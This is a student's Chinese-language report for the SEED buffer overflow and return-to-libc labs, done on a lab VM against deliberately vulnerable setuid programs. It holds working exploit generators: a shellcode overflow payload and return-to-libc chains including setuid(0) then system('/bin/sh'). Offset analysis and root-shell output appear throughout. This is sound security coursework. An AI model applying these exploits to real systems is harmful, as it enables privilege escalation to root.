Buffer Overflow Vulnerability Lab

Task 1:

```
[09/02/20]seed@VM:~/lab$ vim shellcode1.c
[09/02/20]seed@VM:~/lab$ gcc shellcode1.c -o shellcode1.c
gcc: fatal error: input file 'shellcode1.c' is the same as output file
compilation terminated.
[09/02/20]seed@VM:~/lab$ gcc shellcode1.c -o shellcode1
shellcode1.c: In function 'main':
shellcode1.c:7:5: warning: implicit declaration of function 'execve' [-Wimplicit
-function-declaration]
     execve(name[0], name, NULL);
     ^
[09/02/20]seed@VM:~/lab$ ./shellcode1
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$ exit
```

运行第一个 shellcode，成功进入 shell

```
[09/02/20]seed@VM:~/lab$ gcc -fno-stack-protector -z execstack -o call_shellcode
 call_shellcode.c
[09/02/20]seed@VM:~/lab$ ./call_shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$ quit
zsh: command not found: quit
$ exit
```

运行第二个 shellcode，成功进入 shell

```
[09/03/20]seed@VM:~/lab$ vim stack.c
[09/03/20]seed@VM:~/lab$ gcc -o stack -z execstack -fno-stack-protector stack.c
[09/03/20]seed@VM:~/lab$ sudo chown root stack
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab$
```

生成 stack 文件

Task 2:

```
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instructi
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropria
    buffer[36]=0x04;
    buffer[37]=0xeb;
    buffer[38]=0xff;
    buffer[39]=0xbf;
    for(int i=0;i<sizeof(shellcode);i++)
    {
        buffer[44+i]=shellcode[i];
    }
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

填充代码如上图所示

首先根据 bof 的汇编代码：

```
0x80484eb <bof>:      push   ebp
0x80484ec <bof+1>:    mov    ebp,esp
0x80484ee <bof+3>:    sub    esp,0x28
0x80484f1 <bof+6>:    sub    esp,0x8
0x80484f4 <bof+9>:    push   DWORD PTR [ebp+0x8]
0x80484f7 <bof+12>:   lea    eax,[ebp-0x20]
0x80484fa <bof+15>:   push   eax
```

易得字符串得地址在距离 ebp 处 32 个字节的位置，之前的 ebp 的值占据 4 个字节，所以返回地址在距离 ebp36 个字节的位置，再在返回地址后填充 shellcode 即可，所以具体字符串的值为 36 个 nop+shellcode 地址+shellcode，shellcode 的地址在距离 ebp40 个字节的位置，但是由于我的程序中这个位置包含 0，会拷贝失败，所以我的设计为 36 个 nop+shellcode 地址+4 个 nop+shellcode，并且小端情况下地址需要倒着写，但是由于 gdb 中的地址与实际运行的地址不一致，所以我利用段错误生成的 core 文档进行处理，根据 core 文档得出 shellcode 的正确地址 0xbfffeb04，倒序填充即可，最终结果如下：

```
[09/03/20]seed@VM:~/lab$ sudo chown root ./stack
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 ./stack
[09/03/20]seed@VM:~/lab$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3:

```
[09/03/20]seed@VM:~/lab$ vim dash_shell_test.c
[09/03/20]seed@VM:~/lab$ gcc dash_shell_test.c -o dash_shell_test
[09/03/20]seed@VM:~/lab$ gcc dash_shell_test.c -o dash_shell_test
[09/03/20]seed@VM:~/lab$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~/lab$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$ exit
[09/03/20]seed@VM:~/lab$ vim dash_shell_test.c
[09/03/20]seed@VM:~/lab$ gcc dash_shell_test.c -o dash_shell_test
[09/03/20]seed@VM:~/lab$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~/lab$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

未设置 uid 导致获取 shell 后未能获得 root 权限，设置 uid 后 shell 直接获取了 root 权限。

```
[09/03/20]seed@VM:~/lab$ vim exploit.c
[09/03/20]seed@VM:~/lab$ gcc exploit.c -o exploit
[09/03/20]seed@VM:~/lab$ ./exploit
[09/03/20]seed@VM:~/lab$ sudo chown root stack
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab$ ./stack
Segmentation fault
[09/03/20]seed@VM:~/lab$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/03/20]seed@VM:~/lab$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

未设置 uid，shellcode 获取的权限为普通用户权限。

```
[09/03/20]seed@VM:~/lab$ vim exploit.c
[09/03/20]seed@VM:~/lab$ gcc exploit.c -o exploit
[09/03/20]seed@VM:~/lab$ ./exploit
[09/03/20]seed@VM:~/lab$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

设置 uid 后，shellcode 获取的权限为 root 权限。

Task 4:

```
2 minutes and 36 seconds elapsed.
The program has been running 48219 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

2min36s 后成功获得 root 权限。

Task 5:

```
[09/03/20]seed@VM:~/lab$ gcc -g -o stack -z execstack  stack.c
[09/03/20]seed@VM:~/lab$ sudo chown  root stack
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

检测到了栈溢出的发生，终止了该程序。

Task 6:

```
[09/03/20]seed@VM:~/lab$ gcc -o stack -fno-stack-protector -z noexecstack stack.
c
[09/03/20]seed@VM:~/lab$ sudo chown  root stack
[09/03/20]seed@VM:~/lab$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab$ ./stack
Segmentation fault
```

由于段中的代码无法执行，自动发生了段错误。

Return-to-libc Attack Lab

Task 1:

```
[09/03/20]seed@VM:~/lab/lab2_retlib$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/lab/lab2_retlib/retlib
Returned Properly
[Inferior 1 (process 3418) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

各个函数的地址如上图所示：由图片可得，system 函数的地址为 0xb7e42da0，exit 函数的地址为 0xb7e369d0。

Task 2:

```
[09/03/20]seed@VM:~/lab$ env | grep MYSHELL
MYSHELL=/bin/sh
[09/03/20]seed@VM:~/lab$ ls
lab2_buffer_overflow  lab2_retlib
[09/03/20]seed@VM:~/lab$ cd lab2_retlib/
[09/03/20]seed@VM:~/lab/lab2_retlib$ vim test.c
[09/03/20]seed@VM:~/lab/lab2_retlib$ gcc test.c -o test
test.c: In function 'main':
test.c:3:19: warning: implicit declaration of function 'getenv' [-Wimplicit-func
tion-declaration]
     char* shell = getenv("MYSHELL");
                   ^
test.c:3:19: warning: initialization makes pointer from integer without a cast [
-Wint-conversion]
test.c:5:9: warning: implicit declaration of function 'printf' [-Wimplicit-funct
ion-declaration]
         printf("%x\n", (unsigned int)shell);
         ^
test.c:5:9: warning: incompatible implicit declaration of built-in function 'pri
ntf'
test.c:5:9: note: include '<stdio.h>' or provide a declaration of 'printf'
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./test
bffffdca
```

由图片易得环境变量的地址在 0xbffffdca 附近。

Task 3:

```
0x80484ec <bof+1>:    mov    ebp,esp
0x80484ee <bof+3>:    sub    esp,0x18
0x80484f1 <bof+6>:    push   DWORD PTR [ebp+0x8]
0x80484f4 <bof+9>:    push   0x12c
0x80484f9 <bof+14>:   push   0x1
0x80484fb <bof+16>:   lea    eax,[ebp-0x14]
0x80484fe <bof+19>:   push   eax
0x80484ff <bof+20>:   call   0x8048390 <fread@plt>
```

易得 buffer 在距离 ebp20 个字节的位置，返回地址在距离 buffer24 个字节的位置，exit 地址写在 buffer28 个字节的位置，环境变量地址写在距离 buffer32 个字节的位置。

```
gdb-peda$ x/1s 0xbffffdc6
0xbffffdc6:     "/bin/sh"
```

运行后通过 gdb 发现/bin/sh 的地址为 0xbffffdc6

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    int X=32;
    int Y=24;
    int Z=28;
    *(long *) &buf[X] = 0xbffffdc6 ; // "/bin/sh"
    *(long *) &buf[Y] = 0xb7e42da0 ; // system()
    *(long *) &buf[Z] = 0xb7e369d0 ; // exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
~
```

对应 buffer 的填充如上图所示。

```
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

提权结果如上图所示。

Attack variation 1：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    int X=32;
    int Y=24;
    int Z=28;
    *(long *) &buf[X] = 0xbffffdc6 ; // "/bin/sh"
    *(long *) &buf[Y] = 0xb7e42da0 ; // system()
    *(long *) &buf[Z] = 0x90909090 ; // exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

对应 exit 位置的地址改为 0x90909090。

```
[09/03/20]seed@VM:~/lab/lab2_retlib$ vim exploit.c
[09/03/20]seed@VM:~/lab/lab2_retlib$ gcc ./exploit.c -o exploit
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./exploit
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./retlib
# exit
Segmentation fault
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
```

依旧还能提权，但是退出的时候会报段错误。

Attack variation 2：

```
[09/03/20]seed@VM:~/lab/lab2_retlib$ mv retlib retlib_bwhe
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./retlib_bwhe
Segmentation fault
[09/03/20]seed@VM:~/lab/lab2_retlib$
```

由于环境变量的地址发生了改变，因此会产生段错误，因为参数错了。

Task 4:

生成 core 文件，并用 gdb 进入，然后查询 system 与 exit 函数的地址：

```
[09/03/20]seed@VM:~/lab/lab2_retlib$ gcc -g -fno-stack-protector -z noexecstack
-o retlib retlib.c
[09/03/20]seed@VM:~/lab/lab2_retlib$ ./retlib
Segmentation fault (core dumped)
[09/03/20]seed@VM:~/lab/lab2_retlib$ gdb ./retlib core
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7593da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75879d0 <__GI_exit>
```

与上文中的函数地址不一致，可以发现函数地址被修改了。

Task 5:

```
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
gdb-peda$ x/1s 0xbffffdc6
0xbffffdc6:     "MYSHELL=/bin/sh"
gdb-peda$ x/1s 0xbffffdff
0xbffffdff:     "e/ubuntu:/usr/share/gnome:/usr/local/share/:/usr/share/:/var/li
b/snapd/desktop"
gdb-peda$ x/1s 0xbffffdf0
0xbffffdf0:     "_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share/:/usr
/share/:/var/lib/snapd/desktop"
gdb-peda$ x/1s 0xbffffdcf
0xbffffdcf:     "bin/sh"
```

exit 地址为 0xb7e369d0，system 地址为 0xb7e42da0，setuid 地址为 0xb7eb9170，对应字符串地址为 0xbffffddc。

我们的设计是首先让函数调用 setuid(0)，然后让函数继续调用 system(“/bin/sh”)。

覆盖结果如下图所示：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    int X=32;
    int Y=24;
    int Z=28;
    int T=36;
    *(long *) &buf[X] = 0x0 ; // argument of setuid()
    *(long *) &buf[Y] = 0xb7eb9170 ; // setuid()
    *(long *) &buf[Z] = 0xb7e42da0 ; // system()
    *(long *) &buf[T] = 0xbffffddc ; //  "/bin/sh"
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

```
[09/04/20]seed@VM:~/lab/lab2_retlib$ ll
total 292
-rw-rw-r-- 1 seed seed     40 Sep  4 10:03 badfile
-rw------- 1 seed seed 520192 Sep  4 03:16 core
-rwxrwxr-x 1 seed seed   7472 Sep  4 03:49 exploit
-rw-rw-r-- 1 seed seed    634 Sep  4 03:49 exploit.c
-rwxrwxr-x 1 seed seed   7476 Sep  4 10:03 exploit_uid
-rw-rw-r-- 1 seed seed    706 Sep  4 10:02 exploit_uid.c
-rw-rw-r-- 1 seed seed     11 Sep  4 10:00 peda-session-retlib.txt
-rwsr-xr-x 1 root seed   9792 Sep  4 03:14 retlib
-rw-rw-r-- 1 seed seed    942 Sep  3 10:02 retlib.c
-rwxrwxr-x 1 seed seed   7384 Sep  3 21:29 test
-rw-rw-r-- 1 seed seed    113 Sep  3 21:28 test.c
[09/04/20]seed@VM:~/lab/lab2_retlib$ sudo ln -sf /bin/zsh /bin/sh
[09/04/20]seed@VM:~/lab/lab2_retlib$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
```

由上图可得，覆盖成功，并且成功提权。

学号：57117127

姓名：贺博文